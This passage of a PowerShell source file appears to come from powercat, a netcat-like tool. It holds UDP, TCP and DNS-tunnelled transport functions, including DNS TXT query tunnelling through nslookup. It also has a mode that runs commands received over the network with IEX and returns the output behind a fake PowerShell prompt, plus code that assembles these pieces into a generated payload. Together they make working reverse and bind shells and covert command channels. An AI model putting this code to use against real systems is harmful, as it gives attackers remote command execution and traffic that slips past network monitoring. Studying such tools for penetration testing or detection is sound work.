| $FuncVars["Socket"].Close() 183 | $Stopwatch.Stop() 184 | Write-Verbose "Timeout!" ; break 185 | } 186 | if($ConnectHandle.IsCompleted) 187 | { 188 | $SocketBytesRead = $FuncVars["Socket"].Client.EndReceiveMessageFrom($ConnectHandle,[ref]([System.Net.Sockets.SocketFlags]::None),[ref]$EndPoint,[ref]$PacketInfo) 189 | Write-Verbose ("Connection from [" + $EndPoint.Address.IPAddressToString + "] port " + $p + " [udp] accepted (source port " + $EndPoint.Port + ")") 190 | if($SocketBytesRead -gt 0){break} 191 | else{break} 192 | } 193 | } 194 | $Stopwatch.Stop() 195 | $FuncVars["InitialConnectionBytes"] = $SocketDestinationBuffer[0..([int]$SocketBytesRead-1)] 196 | } 197 | else 198 | { 199 | if(!$c.Contains(".")) 200 | { 201 | $IPList = @() 202 | [System.Net.Dns]::GetHostAddresses($c) | Where-Object {$_.AddressFamily -eq "InterNetwork"} | %{$IPList += $_.IPAddressToString} 203 | Write-Verbose ("Name " + $c + " resolved to address " + $IPList[0]) 204 | $EndPoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Parse($IPList[0])), $p 205 | } 206 | else 207 | { 208 | $EndPoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Parse($c)), $p 209 | } 210 | $FuncVars["Socket"] = New-Object System.Net.Sockets.UDPClient 211 | $FuncVars["Socket"].Connect($c,$p) 212 | Write-Verbose ("Sending UDP traffic to " + $c + " port " + $p + "...") 213 | Write-Verbose ("UDP: Make sure to send some data so the server can notice you!") 214 | } 215 | $FuncVars["BufferSize"] = 65536 216 | $FuncVars["EndPoint"] = $EndPoint 217 | $FuncVars["StreamDestinationBuffer"] = New-Object System.Byte[] $FuncVars["BufferSize"] 218 | $FuncVars["StreamReadOperation"] = $FuncVars["Socket"].Client.BeginReceiveFrom($FuncVars["StreamDestinationBuffer"],0,$FuncVars["BufferSize"],([System.Net.Sockets.SocketFlags]::None),[ref]$FuncVars["EndPoint"],$null,$null) 219 | return $FuncVars 220 | } 221 | function ReadData_UDP 222 | { 223 | param($FuncVars) 224 | $Data = $null 225 | if($FuncVars["StreamReadOperation"].IsCompleted) 226 | { 227 | $StreamBytesRead = $FuncVars["Socket"].Client.EndReceiveFrom($FuncVars["StreamReadOperation"],[ref]$FuncVars["EndPoint"]) 228 | if($StreamBytesRead -eq 0){break} 229 | $Data = $FuncVars["StreamDestinationBuffer"][0..([int]$StreamBytesRead-1)] 230 | $FuncVars["StreamReadOperation"] = $FuncVars["Socket"].Client.BeginReceiveFrom($FuncVars["StreamDestinationBuffer"],0,$FuncVars["BufferSize"],([System.Net.Sockets.SocketFlags]::None),[ref]$FuncVars["EndPoint"],$null,$null) 231 | } 232 | return $Data,$FuncVars 233 | } 234 | function WriteData_UDP 235 | { 236 | param($Data,$FuncVars) 237 | $FuncVars["Socket"].Client.SendTo($Data,$FuncVars["EndPoint"]) | Out-Null 238 | return $FuncVars 239 | } 240 | function Close_UDP 241 | { 242 | param($FuncVars) 243 | $FuncVars["Socket"].Close() 244 | } 245 | ############### UDP FUNCTIONS ############### 246 | 247 | ############### DNS FUNCTIONS ############### 248 | function Setup_DNS 249 | { 250 | param($FuncSetupVars) 251 | if($global:Verbose){$Verbose = $True} 252 | function ConvertTo-HexArray 253 | { 254 | param($String) 255 | $Hex = @() 256 | $String.ToCharArray() | % {"{0:x}" -f [byte]$_} | % {if($_.Length -eq 1){"0" + [string]$_} else{[string]$_}} | % {$Hex += $_} 257 | return $Hex 258 | } 259 | 260 | function SendPacket 261 | { 262 | param($Packet,$DNSServer,$DNSPort) 263 | $Command = ("set type=TXT`nserver $DNSServer`nset port=$DNSPort`nset domain=.com`nset retry=1`n" + $Packet + "`nexit") 264 | $result = ($Command | nslookup 2>&1 | Out-String) 265 | if($result.Contains('"')){return ([regex]::Match($result.replace("bio=",""),'(?<=")[^"]*(?=")').Value)} 266 | else{return 1} 267 | } 268 | 269 | function Create_SYN 270 | { 271 | param($SessionId,$SeqNum,$Tag,$Domain) 272 | return ($Tag + ([string](Get-Random -Maximum 9999 -Minimum 1000)) + "00" + $SessionId + $SeqNum + "0000" + $Domain) 273 | } 274 | 275 | function Create_FIN 276 | { 277 | param($SessionId,$Tag,$Domain) 278 | return ($Tag + ([string](Get-Random -Maximum 9999 -Minimum 1000)) + "02" + $SessionId + "00" + $Domain) 279 | } 280 | 281 | function Create_MSG 282 | { 283 | param($SessionId,$SeqNum,$AcknowledgementNumber,$Data,$Tag,$Domain) 284 | return ($Tag + ([string](Get-Random -Maximum 9999 -Minimum 1000)) + "01" + $SessionId + $SeqNum + $AcknowledgementNumber + $Data + $Domain) 285 | } 286 | 287 | function DecodePacket 288 | { 289 | param($Packet) 290 | 291 | if((($Packet.Length)%2 -eq 1) -or ($Packet.Length -eq 0)){return 1} 292 | $AcknowledgementNumber = ($Packet[10..13] -join "") 293 | $SeqNum = ($Packet[14..17] -join "") 294 | [byte[]]$ReturningData = @() 295 | 296 | if($Packet.Length -gt 18) 297 | { 298 | $PacketElim = $Packet.Substring(18) 299 | while($PacketElim.Length -gt 0) 300 | { 301 | $ReturningData += [byte[]][Convert]::ToInt16(($PacketElim[0..1] -join ""),16) 302 | $PacketElim = $PacketElim.Substring(2) 303 | } 304 | } 305 | 306 | return $Packet,$ReturningData,$AcknowledgementNumber,$SeqNum 307 | } 308 | 309 | function AcknowledgeData 310 | { 311 | param($ReturningData,$AcknowledgementNumber) 312 | $Hex = [string]("{0:x}" -f (([uint16]("0x" + $AcknowledgementNumber) + $ReturningData.Length) % 65535)) 313 | if($Hex.Length -ne 4){$Hex = (("0"*(4-$Hex.Length)) + $Hex)} 314 | return $Hex 315 | } 316 | $FuncVars = @{} 317 | $FuncVars["DNSServer"],$FuncVars["DNSPort"],$FuncVars["Domain"],$FuncVars["FailureThreshold"] = $FuncSetupVars 318 | if($FuncVars["DNSPort"] -eq ''){$FuncVars["DNSPort"] = "53"} 319 | $FuncVars["Tag"] = "" 320 | $FuncVars["Domain"] = ("." + $FuncVars["Domain"]) 321 | 322 | $FuncVars["Create_SYN"] = ${function:Create_SYN} 323 | $FuncVars["Create_MSG"] = ${function:Create_MSG} 324 | $FuncVars["Create_FIN"] = ${function:Create_FIN} 325 | $FuncVars["DecodePacket"] = ${function:DecodePacket} 326 | $FuncVars["ConvertTo-HexArray"] = ${function:ConvertTo-HexArray} 327 | $FuncVars["AckData"] = ${function:AcknowledgeData} 328 | $FuncVars["SendPacket"] = ${function:SendPacket} 329 | $FuncVars["SessionId"] = ([string](Get-Random -Maximum 9999 -Minimum 1000)) 330 | $FuncVars["SeqNum"] = ([string](Get-Random -Maximum 9999 -Minimum 1000)) 331 | $FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding 332 | $FuncVars["Failures"] = 0 333 | 334 | $SYNPacket = (Invoke-Command $FuncVars["Create_SYN"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["SeqNum"],$FuncVars["Tag"],$FuncVars["Domain"])) 335 | $ResponsePacket = (Invoke-Command $FuncVars["SendPacket"] -ArgumentList @($SYNPacket,$FuncVars["DNSServer"],$FuncVars["DNSPort"])) 336 | $DecodedPacket = (Invoke-Command $FuncVars["DecodePacket"] -ArgumentList @($ResponsePacket)) 337 | if($DecodedPacket -eq 1){return "Bad SYN response. Ensure your server is set up correctly."} 338 | $ReturningData = $DecodedPacket[1] 339 | if($ReturningData -ne ""){$FuncVars["InputData"] = ""} 340 | $FuncVars["AckNum"] = $DecodedPacket[2] 341 | $FuncVars["MaxMSGDataSize"] = (244 - (Invoke-Command $FuncVars["Create_MSG"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["SeqNum"],$FuncVars["AckNum"],"",$FuncVars["Tag"],$FuncVars["Domain"])).Length) 342 | if($FuncVars["MaxMSGDataSize"] -le 0){return "Domain name is too long."} 343 | return $FuncVars 344 | } 345 | function ReadData_DNS 346 | { 347 | param($FuncVars) 348 | if($global:Verbose){$Verbose = $True} 349 | 350 | $PacketsData = @() 351 | $PacketData = "" 352 | 353 | if($FuncVars["InputData"] -ne $null) 354 | { 355 | $Hex = (Invoke-Command $FuncVars["ConvertTo-HexArray"] -ArgumentList @($FuncVars["InputData"])) 356 | $SectionCount = 0 357 | $PacketCount = 0 358 | foreach($Char in $Hex) 359 | { 360 | if($SectionCount -ge 30) 361 | { 362 | $SectionCount = 0 363 | $PacketData += "." 364 | } 365 | if($PacketCount -ge ($FuncVars["MaxMSGDataSize"])) 366 | { 367 | $PacketsData += $PacketData.TrimEnd(".") 368 | $PacketCount = 0 369 | $SectionCount = 0 370 | $PacketData = "" 371 | } 372 | $PacketData += $Char 373 | $SectionCount += 2 374 | $PacketCount += 2 375 | } 376 | $PacketData = $PacketData.TrimEnd(".") 377 | $PacketsData += $PacketData 378 | $FuncVars["InputData"] = "" 379 | } 380 | else 381 | { 382 | $PacketsData = @("") 383 | } 384 | 385 | [byte[]]$ReturningData = @() 386 | foreach($PacketData in $PacketsData) 387 | { 388 | try{$MSGPacket = Invoke-Command $FuncVars["Create_MSG"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["SeqNum"],$FuncVars["AckNum"],$PacketData,$FuncVars["Tag"],$FuncVars["Domain"])} 389 | catch{ Write-Verbose "DNSCAT2: Failed to create packet." ; $FuncVars["Failures"] += 1 ; continue } 390 | try{$Packet = (Invoke-Command $FuncVars["SendPacket"] -ArgumentList @($MSGPacket,$FuncVars["DNSServer"],$FuncVars["DNSPort"]))} 391 | catch{ Write-Verbose "DNSCAT2: Failed to send packet." ; $FuncVars["Failures"] += 1 ; continue } 392 | try 393 | { 394 | $DecodedPacket = (Invoke-Command $FuncVars["DecodePacket"] -ArgumentList @($Packet)) 395 | if($DecodedPacket.Length -ne 4){ Write-Verbose "DNSCAT2: Failure to decode packet, dropping..."; $FuncVars["Failures"] += 1 ; continue } 396 | $FuncVars["AckNum"] = $DecodedPacket[2] 397 | $FuncVars["SeqNum"] = $DecodedPacket[3] 398 | $ReturningData += $DecodedPacket[1] 399 | } 400 | catch{ Write-Verbose "DNSCAT2: Failure to decode packet, dropping..." ; $FuncVars["Failures"] += 1 ; continue } 401 | if($DecodedPacket -eq 1){ Write-Verbose "DNSCAT2: Failure to decode packet, dropping..." ; $FuncVars["Failures"] += 1 ; continue } 402 | } 403 | 404 | if($FuncVars["Failures"] -ge $FuncVars["FailureThreshold"]){break} 405 | 406 | if($ReturningData -ne @()) 407 | { 408 | $FuncVars["AckNum"] = (Invoke-Command $FuncVars["AckData"] -ArgumentList @($ReturningData,$FuncVars["AckNum"])) 409 | } 410 | return $ReturningData,$FuncVars 411 | } 412 | function WriteData_DNS 413 | { 414 | param($Data,$FuncVars) 415 | $FuncVars["InputData"] = $FuncVars["Encoding"].GetString($Data) 416 | return $FuncVars 417 | } 418 | function Close_DNS 419 | { 420 | param($FuncVars) 421 | $FINPacket = Invoke-Command $FuncVars["Create_FIN"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["Tag"],$FuncVars["Domain"]) 422 | Invoke-Command $FuncVars["SendPacket"] -ArgumentList @($FINPacket,$FuncVars["DNSServer"],$FuncVars["DNSPort"]) | Out-Null 423 | } 424 | ############### DNS FUNCTIONS ############### 425 | 426 | ########## TCP FUNCTIONS ########## 427 | function Setup_TCP 428 | { 429 | param($FuncSetupVars) 430 | $c,$l,$p,$t = $FuncSetupVars 431 | if($global:Verbose){$Verbose = $True} 432 | $FuncVars = @{} 433 | if(!$l) 434 | { 435 | $FuncVars["l"] = $False 436 | $Socket = New-Object System.Net.Sockets.TcpClient 437 | Write-Verbose "Connecting..." 438 | $Handle = $Socket.BeginConnect($c,$p,$null,$null) 439 | } 440 | else 441 | { 442 | $FuncVars["l"] = $True 443 | Write-Verbose ("Listening on [0.0.0.0] (port " + $p + ")") 444 | $Socket = New-Object System.Net.Sockets.TcpListener $p 445 | $Socket.Start() 446 | $Handle = $Socket.BeginAcceptTcpClient($null, $null) 447 | } 448 | 449 | $Stopwatch = [System.Diagnostics.Stopwatch]::StartNew() 450 | while($True) 451 | { 452 | if($Host.UI.RawUI.KeyAvailable) 453 | { 454 | if(@(17,27) -contains ($Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown").VirtualKeyCode)) 455 | { 456 | Write-Verbose "CTRL or ESC caught. Stopping TCP Setup..." 457 | if($FuncVars["l"]){$Socket.Stop()} 458 | else{$Socket.Close()} 459 | $Stopwatch.Stop() 460 | break 461 | } 462 | } 463 | if($Stopwatch.Elapsed.TotalSeconds -gt $t) 464 | { 465 | if(!$l){$Socket.Close()} 466 | else{$Socket.Stop()} 467 | $Stopwatch.Stop() 468 | Write-Verbose "Timeout!" ; break 469 | break 470 | } 471 | if($Handle.IsCompleted) 472 | { 473 | if(!$l) 474 | { 475 | try 476 | { 477 | $Socket.EndConnect($Handle) 478 | $Stream = $Socket.GetStream() 479 | $BufferSize = $Socket.ReceiveBufferSize 480 | Write-Verbose ("Connection to " + $c + ":" + $p + " [tcp] succeeded!") 481 | } 482 | catch{$Socket.Close(); $Stopwatch.Stop(); break} 483 | } 484 | else 485 | { 486 | $Client = $Socket.EndAcceptTcpClient($Handle) 487 | $Stream = $Client.GetStream() 488 | $BufferSize = $Client.ReceiveBufferSize 489 | Write-Verbose ("Connection from [" + $Client.Client.RemoteEndPoint.Address.IPAddressToString + "] port " + $port + " [tcp] accepted (source port " + $Client.Client.RemoteEndPoint.Port + ")") 490 | } 491 | break 492 | } 493 | } 494 | $Stopwatch.Stop() 495 | if($Socket -eq $null){break} 496 | $FuncVars["Stream"] = $Stream 497 | $FuncVars["Socket"] = $Socket 498 | $FuncVars["BufferSize"] = $BufferSize 499 | $FuncVars["StreamDestinationBuffer"] = (New-Object System.Byte[] $FuncVars["BufferSize"]) 500 | $FuncVars["StreamReadOperation"] = $FuncVars["Stream"].BeginRead($FuncVars["StreamDestinationBuffer"], 0, $FuncVars["BufferSize"], $null, $null) 501 | $FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding 502 | $FuncVars["StreamBytesRead"] = 1 503 | return $FuncVars 504 | } 505 | function ReadData_TCP 506 | { 507 | param($FuncVars) 508 | $Data = $null 509 | if($FuncVars["StreamBytesRead"] -eq 0){break} 510 | if($FuncVars["StreamReadOperation"].IsCompleted) 511 | { 512 | $StreamBytesRead = $FuncVars["Stream"].EndRead($FuncVars["StreamReadOperation"]) 513 | if($StreamBytesRead -eq 0){break} 514 | $Data = $FuncVars["StreamDestinationBuffer"][0..([int]$StreamBytesRead-1)] 515 | $FuncVars["StreamReadOperation"] = $FuncVars["Stream"].BeginRead($FuncVars["StreamDestinationBuffer"], 0, $FuncVars["BufferSize"], $null, $null) 516 | } 517 | return $Data,$FuncVars 518 | } 519 | function WriteData_TCP 520 | { 521 | param($Data,$FuncVars) 522 | $FuncVars["Stream"].Write($Data, 0, $Data.Length) 523 | return $FuncVars 524 | } 525 | function Close_TCP 526 | { 527 | param($FuncVars) 528 | try{$FuncVars["Stream"].Close()} 529 | catch{} 530 | if($FuncVars["l"]){$FuncVars["Socket"].Stop()} 531 | else{$FuncVars["Socket"].Close()} 532 | } 533 | ########## TCP FUNCTIONS ########## 534 | 535 | ########## CMD FUNCTIONS ########## 536 | function Setup_CMD 537 | { 538 | param($FuncSetupVars) 539 | if($global:Verbose){$Verbose = $True} 540 | $FuncVars = @{} 541 | $ProcessStartInfo = New-Object System.Diagnostics.ProcessStartInfo 542 | $ProcessStartInfo.FileName = $FuncSetupVars[0] 543 | $ProcessStartInfo.UseShellExecute = $False 544 | $ProcessStartInfo.RedirectStandardInput = $True 545 | $ProcessStartInfo.RedirectStandardOutput = $True 546 | $ProcessStartInfo.RedirectStandardError = $True 547 | $FuncVars["Process"] = [System.Diagnostics.Process]::Start($ProcessStartInfo) 548 | Write-Verbose ("Starting Process " + $FuncSetupVars[0] + "...") 549 | $FuncVars["Process"].Start() | Out-Null 550 | $FuncVars["StdOutDestinationBuffer"] = New-Object System.Byte[] 65536 551 | $FuncVars["StdOutReadOperation"] = $FuncVars["Process"].StandardOutput.BaseStream.BeginRead($FuncVars["StdOutDestinationBuffer"], 0, 65536, $null, $null) 552 | $FuncVars["StdErrDestinationBuffer"] = New-Object System.Byte[] 65536 553 | $FuncVars["StdErrReadOperation"] = $FuncVars["Process"].StandardError.BaseStream.BeginRead($FuncVars["StdErrDestinationBuffer"], 0, 65536, $null, $null) 554 | $FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding 555 | return $FuncVars 556 | } 557 | function ReadData_CMD 558 | { 559 | param($FuncVars) 560 | [byte[]]$Data = @() 561 | if($FuncVars["StdOutReadOperation"].IsCompleted) 562 | { 563 | $StdOutBytesRead = $FuncVars["Process"].StandardOutput.BaseStream.EndRead($FuncVars["StdOutReadOperation"]) 564 | if($StdOutBytesRead -eq 0){break} 565 | $Data += $FuncVars["StdOutDestinationBuffer"][0..([int]$StdOutBytesRead-1)] 566 | $FuncVars["StdOutReadOperation"] = $FuncVars["Process"].StandardOutput.BaseStream.BeginRead($FuncVars["StdOutDestinationBuffer"], 0, 65536, $null, $null) 567 | } 568 | if($FuncVars["StdErrReadOperation"].IsCompleted) 569 | { 570 | $StdErrBytesRead = $FuncVars["Process"].StandardError.BaseStream.EndRead($FuncVars["StdErrReadOperation"]) 571 | if($StdErrBytesRead -eq 0){break} 572 | $Data += $FuncVars["StdErrDestinationBuffer"][0..([int]$StdErrBytesRead-1)] 573 | $FuncVars["StdErrReadOperation"] = $FuncVars["Process"].StandardError.BaseStream.BeginRead($FuncVars["StdErrDestinationBuffer"], 0, 65536, $null, $null) 574 | } 575 | return $Data,$FuncVars 576 | } 577 | function WriteData_CMD 578 | { 579 | param($Data,$FuncVars) 580 | $FuncVars["Process"].StandardInput.WriteLine($FuncVars["Encoding"].GetString($Data).TrimEnd("`r").TrimEnd("`n")) 581 | return $FuncVars 582 | } 583 | function Close_CMD 584 | { 585 | param($FuncVars) 586 | $FuncVars["Process"] | Stop-Process 587 | } 588 | ########## CMD FUNCTIONS ########## 589 | 590 | ########## POWERSHELL FUNCTIONS ########## 591 | function Main_Powershell 592 | { 593 | param($Stream1SetupVars) 594 | try 595 | { 596 | $encoding = New-Object System.Text.AsciiEncoding 597 | [byte[]]$InputToWrite = @() 598 | if($i -ne $null) 599 | { 600 | Write-Verbose "Input from -i detected..." 601 | if(Test-Path $i){ [byte[]]$InputToWrite = ([io.file]::ReadAllBytes($i)) } 602 | elseif($i.GetType().Name -eq "Byte[]"){ [byte[]]$InputToWrite = $i } 603 | elseif($i.GetType().Name -eq "String"){ [byte[]]$InputToWrite = $Encoding.GetBytes($i) } 604 | else{Write-Host "Unrecognised input type." ; return} 605 | } 606 | 607 | Write-Verbose "Setting up Stream 1... (ESC/CTRL to exit)" 608 | try{$Stream1Vars = Stream1_Setup $Stream1SetupVars} 609 | catch{Write-Verbose "Stream 1 Setup Failure" ; return} 610 | 611 | Write-Verbose "Setting up Stream 2... (ESC/CTRL to exit)" 612 | try 613 | { 614 | $IntroPrompt = $Encoding.GetBytes("Windows PowerShell`nCopyright (C) 2013 Microsoft Corporation. All rights reserved.`n`n" + ("PS " + (pwd).Path + "> ")) 615 | $Prompt = ("PS " + (pwd).Path + "> ") 616 | $CommandToExecute = "" 617 | $Data = $null 618 | } 619 | catch 620 | { 621 | Write-Verbose "Stream 2 Setup Failure" ; return 622 | } 623 | 624 | if($InputToWrite -ne @()) 625 | { 626 | Write-Verbose "Writing input to Stream 1..." 627 | try{$Stream1Vars = Stream1_WriteData $InputToWrite $Stream1Vars} 628 | catch{Write-Host "Failed to write input to Stream 1" ; return} 629 | } 630 | 631 | if($d){Write-Verbose "-d (disconnect) Activated. Disconnecting..." ; return} 632 | 633 | Write-Verbose "Both Communication Streams Established. Redirecting Data Between Streams..." 634 | while($True) 635 | { 636 | try 637 | { 638 | ##### Stream2 Read ##### 639 | $Prompt = $null 640 | $ReturnedData = $null 641 | if($CommandToExecute -ne "") 642 | { 643 | try{[byte[]]$ReturnedData = $Encoding.GetBytes((IEX $CommandToExecute 2>&1 | Out-String))} 644 | catch{[byte[]]$ReturnedData = $Encoding.GetBytes(($_ | Out-String))} 645 | $Prompt = $Encoding.GetBytes(("PS " + (pwd).Path + "> ")) 646 | } 647 | $Data += $IntroPrompt 648 | $IntroPrompt = $null 649 | $Data += $ReturnedData 650 | $Data += $Prompt 651 | $CommandToExecute = "" 652 | ##### Stream2 Read ##### 653 | 654 | if($Data -ne $null){$Stream1Vars = Stream1_WriteData $Data $Stream1Vars} 655 | $Data = $null 656 | } 657 | catch 658 | { 659 | Write-Verbose "Failed to redirect data from Stream 2 to Stream 1" ; return 660 | } 661 | 662 | try 663 | { 664 | $Data,$Stream1Vars = Stream1_ReadData $Stream1Vars 665 | if($Data.Length -eq 0){Start-Sleep -Milliseconds 100} 666 | if($Data -ne $null){$CommandToExecute = $Encoding.GetString($Data)} 667 | $Data = $null 668 | } 669 | catch 670 | { 671 | Write-Verbose "Failed to redirect data from Stream 1 to Stream 2" ; return 672 | } 673 | } 674 | } 675 | finally 676 | { 677 | try 678 | { 679 | Write-Verbose "Closing Stream 1..." 680 | Stream1_Close $Stream1Vars 681 | } 682 | catch 683 | { 684 | Write-Verbose "Failed to close Stream 1" 685 | } 686 | } 687 | } 688 | ########## POWERSHELL FUNCTIONS ########## 689 | 690 | ########## CONSOLE FUNCTIONS ########## 691 | function Setup_Console 692 | { 693 | param($FuncSetupVars) 694 | $FuncVars = @{} 695 | $FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding 696 | $FuncVars["Output"] = $FuncSetupVars[0] 697 | $FuncVars["OutputBytes"] = [byte[]]@() 698 | $FuncVars["OutputString"] = "" 699 | return $FuncVars 700 | } 701 | function ReadData_Console 702 | { 703 | param($FuncVars) 704 | $Data = $null 705 | if($Host.UI.RawUI.KeyAvailable) 706 | { 707 | $Data = $FuncVars["Encoding"].GetBytes((Read-Host) + "`n") 708 | } 709 | return $Data,$FuncVars 710 | } 711 | function WriteData_Console 712 | { 713 | param($Data,$FuncVars) 714 | switch($FuncVars["Output"]) 715 | { 716 | "Host" {Write-Host -n $FuncVars["Encoding"].GetString($Data)} 717 | "String" {$FuncVars["OutputString"] += $FuncVars["Encoding"].GetString($Data)} 718 | "Bytes" {$FuncVars["OutputBytes"] += $Data} 719 | } 720 | return $FuncVars 721 | } 722 | function Close_Console 723 | { 724 | param($FuncVars) 725 | if($FuncVars["OutputString"] -ne ""){return $FuncVars["OutputString"]} 726 | elseif($FuncVars["OutputBytes"] -ne @()){return $FuncVars["OutputBytes"]} 727 | return 728 | } 729 | ########## CONSOLE FUNCTIONS ########## 730 | 731 | ########## MAIN FUNCTION ########## 732 | function Main 733 | { 734 | param($Stream1SetupVars,$Stream2SetupVars) 735 | try 736 | { 737 | [byte[]]$InputToWrite = @() 738 | $Encoding = New-Object System.Text.AsciiEncoding 739 | if($i -ne $null) 740 | { 741 | Write-Verbose "Input from -i detected..." 742 | if(Test-Path $i){ [byte[]]$InputToWrite = ([io.file]::ReadAllBytes($i)) } 743 | elseif($i.GetType().Name -eq "Byte[]"){ [byte[]]$InputToWrite = $i } 744 | elseif($i.GetType().Name -eq "String"){ [byte[]]$InputToWrite = $Encoding.GetBytes($i) } 745 | else{Write-Host "Unrecognised input type." ; return} 746 | } 747 | 748 | Write-Verbose "Setting up Stream 1..." 749 | try{$Stream1Vars = Stream1_Setup $Stream1SetupVars} 750 | catch{Write-Verbose "Stream 1 Setup Failure" ; return} 751 | 752 | Write-Verbose "Setting up Stream 2..." 753 | try{$Stream2Vars = Stream2_Setup $Stream2SetupVars} 754 | catch{Write-Verbose "Stream 2 Setup Failure" ; return} 755 | 756 | $Data = $null 757 | 758 | if($InputToWrite -ne @()) 759 | { 760 | Write-Verbose "Writing input to Stream 1..." 761 | try{$Stream1Vars = Stream1_WriteData $InputToWrite $Stream1Vars} 762 | catch{Write-Host "Failed to write input to Stream 1" ; return} 763 | } 764 | 765 | if($d){Write-Verbose "-d (disconnect) Activated. Disconnecting..." ; return} 766 | 767 | Write-Verbose "Both Communication Streams Established. Redirecting Data Between Streams..." 768 | while($True) 769 | { 770 | try 771 | { 772 | $Data,$Stream2Vars = Stream2_ReadData $Stream2Vars 773 | if(($Data.Length -eq 0) -or ($Data -eq $null)){Start-Sleep -Milliseconds 100} 774 | if($Data -ne $null){$Stream1Vars = Stream1_WriteData $Data $Stream1Vars} 775 | $Data = $null 776 | } 777 | catch 778 | { 779 | Write-Verbose "Failed to redirect data from Stream 2 to Stream 1" ; return 780 | } 781 | 782 | try 783 | { 784 | $Data,$Stream1Vars = Stream1_ReadData $Stream1Vars 785 | if(($Data.Length -eq 0) -or ($Data -eq $null)){Start-Sleep -Milliseconds 100} 786 | if($Data -ne $null){$Stream2Vars = Stream2_WriteData $Data $Stream2Vars} 787 | $Data = $null 788 | } 789 | catch 790 | { 791 | Write-Verbose "Failed to redirect data from Stream 1 to Stream 2" ; return 792 | } 793 | } 794 | } 795 | finally 796 | { 797 | try 798 | { 799 | #Write-Verbose "Closing Stream 2..." 800 | Stream2_Close $Stream2Vars 801 | } 802 | catch 803 | { 804 | Write-Verbose "Failed to close Stream 2" 805 | } 806 | try 807 | { 808 | #Write-Verbose "Closing Stream 1..." 809 | Stream1_Close $Stream1Vars 810 | } 811 | catch 812 | { 813 | Write-Verbose "Failed to close Stream 1" 814 | } 815 | } 816 | } 817 | ########## MAIN FUNCTION ########## 818 | 819 | ########## GENERATE PAYLOAD ########## 820 | if($u) 821 | { 822 | Write-Verbose "Set Stream 1: UDP" 823 | $FunctionString = ("function Stream1_Setup`n{`n" + ${function:Setup_UDP} + "`n}`n`n") 824 | $FunctionString += ("function Stream1_ReadData`n{`n" + ${function:ReadData_UDP} + "`n}`n`n") 825 | $FunctionString += ("function Stream1_WriteData`n{`n" + ${function:WriteData_UDP} + "`n}`n`n") 826 | $FunctionString += ("function Stream1_Close`n{`n" + ${function:Close_UDP} + "`n}`n`n") 827 | if($l){$InvokeString = "Main @('',`$True,'$p','$t') "} 828 | else{$InvokeString = "Main @('$c',`$False,'$p','$t') "} 829 | } 830 | elseif($dns -ne "") 831 | { 832 | Write-Verbose "Set Stream 1: DNS" 833 | $FunctionString = ("function Stream1_Setup`n{`n" + ${function:Setup_DNS} + "`n}`n`n") 834 | $FunctionString += ("function Stream1_ReadData`n{`n" + ${function:ReadData_DNS} + "`n}`n`n") 835 | $FunctionString += ("function Stream1_WriteData`n{`n" + ${function:WriteData_DNS} + "`n}`n`n") 836 | $FunctionString += ("function Stream1_Close`n{`n" + ${function:Close_DNS} + "`n}`n`n") 837 | if($l){return "This feature is not available."} 838 | else{$InvokeString = "Main @('$c','$p','$dns',$dnsft) "} 839 | } 840 | else 841 | { 842 | Write-Verbose "Set Stream 1: TCP" 843 | $FunctionString = ("function Stream1_Setup`n{`n" + ${function:Setup_TCP} + "`n}`n`n") 844 | $FunctionString += ("function Stream1_ReadData`n{`n" + ${function:ReadData_TCP} + "`n}`n`n") 845 | $FunctionString += ("function Stream1_WriteData`n{`n" + ${function:WriteData_TCP} + "`n}`n`n") 846 | $FunctionString += ("function Stream1_Close`n{`n" + ${function:Close_TCP} + "`n}`n`n") 847 | if($l){$InvokeString = "Main @('',`$True,$p,$t) "} 848 | else{$InvokeString = "Main @('$c',`$False,$p,$t) "} 849 | } 850 | 851 | if($e -ne "") 852 | { 853 | Write-Verbose "Set Stream 2: Process" 854 | $FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_CMD} + "`n}`n`n") 855 | $FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_CMD} + "`n}`n`n") 856 | $FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_CMD} + "`n}`n`n") 857 | $FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_CMD} + "`n}`n`n") 858 | $InvokeString += "@('$e')`n`n" 859 | } 860 | elseif($ep) 861 | { 862 | Write-Verbose "Set Stream 2: Powershell" 863 | $InvokeString += "`n`n" 864 | } 865 | elseif($r -ne "") 866 | { 867 | if($r.split(":")[0].ToLower() -eq "udp") 868 | { 869 | Write-Verbose "Set Stream 2: UDP" 870 | $FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_UDP} + "`n}`n`n") 871 | $FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_UDP} + "`n}`n`n") 872 | $FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_UDP} + "`n}`n`n") 873 | $FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_UDP} + "`n}`n`n") 874 | if($r.split(":").Count -eq 2){$InvokeString += ("@('',`$True,'" + $r.split(":")[1] + "','$t') ")} 875 | elseif($r.split(":").Count -eq 3){$InvokeString += ("@('" + $r.split(":")[1] + "',`$False,'" + $r.split(":")[2] + "','$t') ")} 876 | else{return "Bad relay format."} 877 | } 878 | if($r.split(":")[0].ToLower() -eq "dns") 879 | { 880 | Write-Verbose "Set Stream 2: DNS" 881 | $FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_DNS} + "`n}`n`n") 882 | $FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_DNS} + "`n}`n`n") 883 | $FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_DNS} + "`n}`n`n") 884 | $FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_DNS} + "`n}`n`n") 885 | if($r.split(":").Count -eq 2){return "This feature is not available."} 886 | elseif($r.split(":").Count -eq 4){$InvokeString += ("@('" + $r.split(":")[1] + "','" + $r.split(":")[2] + "','" + $r.split(":")[3] + "',$dnsft) ")} 887 | else{return "Bad relay format."} 888 | } 889 | 